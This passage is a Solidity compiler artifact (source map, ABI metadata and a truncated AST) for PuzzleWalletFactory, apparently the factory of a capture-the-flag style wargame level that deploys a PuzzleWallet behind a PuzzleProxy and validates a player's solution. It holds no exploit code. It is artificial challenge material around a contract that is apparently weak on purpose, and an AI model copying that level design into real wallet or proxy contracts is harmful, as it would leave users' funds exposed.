102;;;;;544:18:155;;807:38:102;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;855:8;-1:-1:-1;;;;;855:16:102;;879:9;855:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;917:5:102;;159:771;-1:-1:-1;;;;;;;;;159:771:102:o;936:207::-;1036:4;1052:17;1084:9;1052:42;;1129:7;-1:-1:-1;;;;;1112:24:102;:5;-1:-1:-1;;;;;1112:11:102;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;1112:24:102;;;936:207;-1:-1:-1;;;;936:207:102:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;3125:2:155;2161:73:23::1;::::0;::::1;3107:21:155::0;3164:2;3144:18;;;3137:30;3203:34;3183:18;;;3176:62;3274:8;3254:18;;;3247:36;3300:19;;2161:73:23::1;2923:402:155::0;2161:73:23::1;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;3532:2:155;1414:68:23;;;3514:21:155;;;3551:18;;;3544:30;3610:34;3590:18;;;3583:62;3662:18;;1414:68:23;3330:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;:::-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o;1892:770::-;2058:4;-1:-1:-1;;;;;2168:2:155;2160:6;2156:15;2145:9;2138:34;2191:2;2241;2233:6;2229:15;2224:2;2213:9;2209:18;2202:43;2281:2;2276;2265:9;2261:18;2254:30;2313:6;2307:13;2293:27;;2356:6;2351:2;2340:9;2336:18;2329:34;2381:1;2391:141;2405:6;2402:1;2399:13;2391:141;;;2501:14;;;2497:23;;2491:30;2466:17;;;2485:3;2462:27;2455:67;2420:10;;2391:141;;;2395:3;;2582:1;2576:3;2567:6;2556:9;2552:22;2548:32;2541:43;2652:3;2645:2;2641:7;2636:2;2628:6;2624:15;2620:29;2609:9;2605:45;2601:55;2593:63;;;1892:770;;;;;;:::o;2667:251::-;2737:6;2790:2;2778:9;2769:7;2765:23;2761:32;2758:52;;;2806:1;2803;2796:12;2758:52;2838:9;2832:16;2857:31;2882:5;2857:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/PuzzleWalletFactory.sol\":\"PuzzleWalletFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/helpers/UpgradeableProxy-08.sol\":{\"keccak256\":\"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1\",\"dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt\"]},\"src/levels/PuzzleWallet.sol\":{\"keccak256\":\"0x8432ce87285e40d52e116db3bf3d3dad325f1e6bbaae4b198d8048418648c13f\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2ce1eebf27a4f923dce440763612161928fda4f43e9b40063d6452b558666430\",\"dweb:/ipfs/QmV5NfCkoeevEYTC3h9YBLzco2JT9PwSyfVcnwobYqcFgV\"]},\"src/levels/PuzzleWalletFactory.sol\":{\"keccak256\":\"0x2e32cf4aff842300a69854472fe78ff6b5f73b44285587e2a7ff06811921b406\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6c9ea620d589ae000461bbab536b38cdebee0a243fff690ecce4c3a474dc3fc9\",\"dweb:/ipfs/QmNvEJH5QhQJwqQkAbRRgQ1JeYqJxwNw2VdkXPUNHAdrf2\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/PuzzleWalletFactory.sol":"PuzzleWalletFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/helpers/UpgradeableProxy-08.sol":{"keccak256":"0x319f7523f3d894ee062108cb5cff1f54335cf1e2604e183664a53e154d661cdb","urls":["bzz-raw://706f501ff1a2ceedea443a2105d40719cd96e0aa8a5301d07b36104cba3edac1","dweb:/ipfs/QmcwF5eM3rkHby1sVYU4HHCCy7rXDuh7zBLWSVXnSrRKEt"],"license":"MIT"},"src/levels/PuzzleWallet.sol":{"keccak256":"0x8432ce87285e40d52e116db3bf3d3dad325f1e6bbaae4b198d8048418648c13f","urls":["bzz-raw://2ce1eebf27a4f923dce440763612161928fda4f43e9b40063d6452b558666430","dweb:/ipfs/QmV5NfCkoeevEYTC3h9YBLzco2JT9PwSyfVcnwobYqcFgV"],"license":"MIT"},"src/levels/PuzzleWalletFactory.sol":{"keccak256":"0x2e32cf4aff842300a69854472fe78ff6b5f73b44285587e2a7ff06811921b406","urls":["bzz-raw://6c9ea620d589ae000461bbab536b38cdebee0a243fff690ecce4c3a474dc3fc9","dweb:/ipfs/QmNvEJH5QhQJwqQkAbRRgQ1JeYqJxwNw2VdkXPUNHAdrf2"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/PuzzleWalletFactory.sol","id":54713,"exportedSymbols":{"Address":[48259],"Context":[48281],"Level":[55508],"Ownable":[46700],"Proxy":[47117],"PuzzleProxy":[54369],"PuzzleWallet":[54597],"PuzzleWalletFactory":[54712],"UpgradeableProxy":[50095]},"nodeType":"SourceUnit","src":"33:1113:102","nodes":[{"id":54599,"nodeType":"PragmaDirective","src":"33:23:102","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54600,"nodeType":"ImportDirective","src":"58:26:102","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":54713,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":54601,"nodeType":"ImportDirective","src":"85:28:102","nodes":[],"absolutePath":"src/levels/PuzzleWallet.sol","file":"./PuzzleWallet.sol","nameLocation":"-1:-1:-1","scope":54713,"sourceUnit":54598,"symbolAliases":[],"unitAlias":""},{"id":54712,"nodeType":"ContractDefinition","src":"115:1030:102","nodes":[{"id":54687,"nodeType":"FunctionDefinition","src":"159:771:102","nodes":[],"body":{"id":54686,"nodeType":"Block","src":"247:683:102","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54615,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":54612,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"265:3:102","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54613,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"269:5:102","memberName":"value","nodeType":"MemberAccess","src":"265:9:102","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"302e303031","id":54614,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"278:11:102","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"},"src":"265:24:102","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4d7573742073656e6420302e3030312045544820746f2063726561746520696e7374616e6365","id":54616,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"291:40:102","typeDescriptions":{"typeIdentifier":"t_stringliteral_c236468c7372a950fb56d315d492d6f5c6e7924f43817f30978862373c449afc","typeString":"literal_string \"Must send 0.001 ETH to create instance\""},"value":"Must send 0.001 ETH to create instance"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_c236468c7372a950fb56d315d492d6f5c6e7924f43817f30978862373c449afc","typeString":"literal_string \"Must send 0.001 ETH to create instance\""}],"id":54611,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"257:7:102","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54617,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"257:75:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54618,"nodeType":"ExpressionStatement","src":"257:75:102"},{"assignments":[54621],"declarations":[{"constant":false,"id":54621,"mutability":"mutable","name":"walletLogic","nameLocation":"397:11:102","nodeType":"VariableDeclaration","scope":54686,"src":"384:24:102","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"},"typeName":{"id":54620,"nodeType":"UserDefinedTypeName","pathNode":{"id":54619,"name":"PuzzleWallet","nameLocations":["384:12:102"],"nodeType":"IdentifierPath","referencedDeclaration":54597,"src":"384:12:102"},"referencedDeclaration":54597,"src":"384:12:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"visibility":"internal"}],"id":54626,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":54624,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"411:16:102","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_PuzzleWallet_$54597_$","typeString":"function () returns (contract PuzzleWallet)"},"typeName":{"id":54623,"nodeType":"UserDefinedTypeName","pathNode":{"id":54622,"name":"PuzzleWallet","nameLocations":["415:12:102"],"nodeType":"IdentifierPath","referencedDeclaration":54597,"src":"415:12:102"},"referencedDeclaration":54597,"src":"415:12:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}},"id":54625,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"411:18:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"nodeType":"VariableDeclarationStatement","src":"384:45:102"},{"assignments":[54628],"declarations":[{"constant":false,"id":54628,"mutability":"mutable","name":"data","nameLocation":"516:4:102","nodeType":"VariableDeclaration","scope":54686,"src":"503:17:102","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":54627,"name":"bytes","nodeType":"ElementaryTypeName","src":"503:5:102","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":54636,"initialValue":{"arguments":[{"expression":{"expression":{"id":54631,"name":"PuzzleWallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54597,"src":"546:12:102","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_PuzzleWallet_$54597_$","typeString":"type(contract PuzzleWallet)"}},"id":54632,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"559:4:102","memberName":"init","nodeType":"MemberAccess","referencedDeclaration":54403,"src":"546:17:102","typeDescriptions":{"typeIdentifier":"t_function_declaration_nonpayable$_t_uint256_$returns$__$","typeString":"function PuzzleWallet.init(uint256)"}},"id":54633,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"564:8:102","memberName":"selector","nodeType":"MemberAccess","src":"546:26:102","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"hexValue":"313030","id":54634,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"574:9:102","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_rational_100000000000000000000_by_1","typeString":"int_const 100000000000000000000"}],"expression":{"id":54629,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"523:3:102","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":54630,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"527:18:102","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"523:22:102","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":54635,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"523:61:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"503:81:102"},{"assignments":[54639],"declarations":[{"constant":false,"id":54639,"mutability":"mutable","name":"proxy","nameLocation":"606:5:102","nodeType":"VariableDeclaration","scope":54686,"src":"594:17:102","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"},"typeName":{"id":54638,"nodeType":"UserDefinedTypeName","pathNode":{"id":54637,"name":"PuzzleProxy","nameLocations":["594:11:102"],"nodeType":"IdentifierPath","referencedDeclaration":54369,"src":"594:11:102"},"referencedDeclaration":54369,"src":"594:11:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}},"visibility":"internal"}],"id":54653,"initialValue":{"arguments":[{"arguments":[{"id":54645,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"638:4:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWalletFactory_$54712","typeString":"contract PuzzleWalletFactory"}],"id":54644,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"630:7:102","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54643,"name":"address","nodeType":"ElementaryTypeName","src":"630:7:102","typeDescriptions":{}}},"id":54646,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"630:13:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":54649,"name":"walletLogic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54621,"src":"653:11:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}],"id":54648,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"645:7:102","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54647,"name":"address","nodeType":"ElementaryTypeName","src":"645:7:102","typeDescriptions":{}}},"id":54650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"645:20:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":54651,"name":"data","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54628,"src":"667:4:102","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":54642,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"614:15:102","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_address_$_t_bytes_memory_ptr_$returns$_t_contract$_PuzzleProxy_$54369_$","typeString":"function (address,address,bytes memory) returns (contract PuzzleProxy)"},"typeName":{"id":54641,"nodeType":"UserDefinedTypeName","pathNode":{"id":54640,"name":"PuzzleProxy","nameLocations":["618:11:102"],"nodeType":"IdentifierPath","referencedDeclaration":54369,"src":"618:11:102"},"referencedDeclaration":54369,"src":"618:11:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}}},"id":54652,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"614:58:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}},"nodeType":"VariableDeclarationStatement","src":"594:78:102"},{"assignments":[54656],"declarations":[{"constant":false,"id":54656,"mutability":"mutable","name":"instance","nameLocation":"695:8:102","nodeType":"VariableDeclaration","scope":54686,"src":"682:21:102","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"},"typeName":{"id":54655,"nodeType":"UserDefinedTypeName","pathNode":{"id":54654,"name":"PuzzleWallet","nameLocations":["682:12:102"],"nodeType":"IdentifierPath","referencedDeclaration":54597,"src":"682:12:102"},"referencedDeclaration":54597,"src":"682:12:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract PuzzleWallet"}},"visibility":"internal"}],"id":54663,"initialValue":{"arguments":[{"arguments":[{"id":54660,"name":"proxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54639,"src":"727:5:102","typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_PuzzleProxy_$54369","typeString":"contract PuzzleProxy"}],"id":54659,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"719:7:102","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":54658,"name":"address","nodeType":"ElementaryTypeName","src":"719:7:102","typeDescriptions":{}}},"id":54661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"719:14:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":54657,"name":"PuzzleWallet","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54597,"src":"706:12:102","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_PuzzleWallet_$54597_$","typeString":"type(contract PuzzleWallet)"}},"id":54662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"706:28:102","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_PuzzleWallet_$54597","typeString":"contract 